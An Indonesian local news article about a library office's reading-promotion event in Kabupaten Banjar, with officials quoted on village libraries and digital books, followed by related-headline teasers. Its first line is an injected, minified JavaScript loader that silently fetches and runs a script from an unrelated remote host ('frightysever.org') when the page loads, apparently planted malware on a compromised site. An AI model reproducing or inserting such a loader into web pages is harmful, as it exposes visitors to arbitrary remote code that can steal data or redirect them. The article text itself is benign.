(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Implementasi revolusi mental melalui mobilisasi pengetahuan dalam rangka meningkatkan indeks literasi masyarakat, Dinas Perpustakaan dan Arsip (Dispersip) Kabupaten Banjar gelar acara safari gerakan nasional pembudayaan gemar membaca.
Acara berlangsung di Aula Dinas Pendidikan Kabupaten Banjar, Sabtu (21/7), dihadiri oleh Sekda Banjar Ir H Nasrunsyah, Kepala Dispersip KalselDra Hj Nurliani Dardie, Anggota Komisi X DPR RI, dan perwakilan dari Perpusnas RI.
Sekda Banjar Nasrunsyah mengatakan, kegiatan gemar membaca ini sangat penting sebagai upaya untuk meningkatkan pengetahuan sumberdaya manusia yang terdidik serta mampu beradaptasi dengan perkembangan teknologi.
“Di Kabupaten Banjar kita tidak hanya mengajak masyarakat untuk gemar membaca saja, tetapi ingin menjadikan perpustakaan sebagai roda perekonomian, bahwa dengan sistem online membaca dapat meningkatkan kualitas masyarakat itu sendiri,†ujarnya.
Nasrun berharap, layanan perpustakaan juga bisa dinikmati hingga ke pelosok desa dengan menggunakan IT, sehingga otomatis juga dapat meningkatkan sumberdaya manusia yang berada di pelosok melalui kegiatan membaca tersebut.
“Mudah-mudahan perpustakaan di Kabupaten Banjar ini kedepan lebih maju lagi, dan dimiliki oleh setiap desa dengan menggunakan sistem IT, walaupun terkendala oleh mobil perpustakaan yang seadanya, namun kita berharap dapat mendorong kegemaran membaca hingga tingkat desa,†bebernya.
Sementara itu ketika ditanya Kanal Kalimantan, terkait tingkat kegemaran membaca di Kabupaten Banjar, Kepala Dispersip Banjar Yasna Khairina mengatakan, tingkat kegemaran membaca jika dilihat dari minat dan mendatangi pelaku membaca masih terbatas dengan akses terhadap bahan bacaan.
“Keterbatasan akses menjadi kendala untuk meningkatkan minat baca, seperti di desa tidak ada pustaka, yang ada hanya di ibukota kabupaten, namun ada upaya untuk mendekatkan akses melalui perpustakaan desa, mudah-mudahan minat baca bisa lebih meningkat,†ujarnya.
Ketersedian stok buku di Dispersip Kabupaten Banjar juga terus meningkat dan untuk tahun depan ada wacana untuk membuatkan buku digital yang bisa diakses dari rumah dengan konsep sama seperti di perpustakaan pada umumnya.
“Atas perhatian Bupati Banjar, Alhamdulillah stok buku di perpustakaan kita setiap tahun selalu meningkat, bahkan pengadaan anggarannya tahun ini juga bertambah, hingga tahun depan mudah-mudahan kita bisa mengadakan sistem buku digital yang bisa diakses melalui smartphone,†jelasnya.
Sementara itu ketika ditanya program untuk meningkatkan minat baca itu sendiri yang ada pada saait ini, Yasna mengatakan adapun program yang dijalankan seperti mobil keliling, kunjungan anak sekolah, dan dalam waktu dekat akan mengundang nara sumber untuk pelatihan hypnoselling.
“Tidak ketinggalan pada tahun ini untuk kearifan lokalnya dengan masyarakat yang religi seperti di Kabupaten Banjar kami juga akan menyediakan kitab kuning untuk menarik minat baca santri-santri di pesantren,†pungkasnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.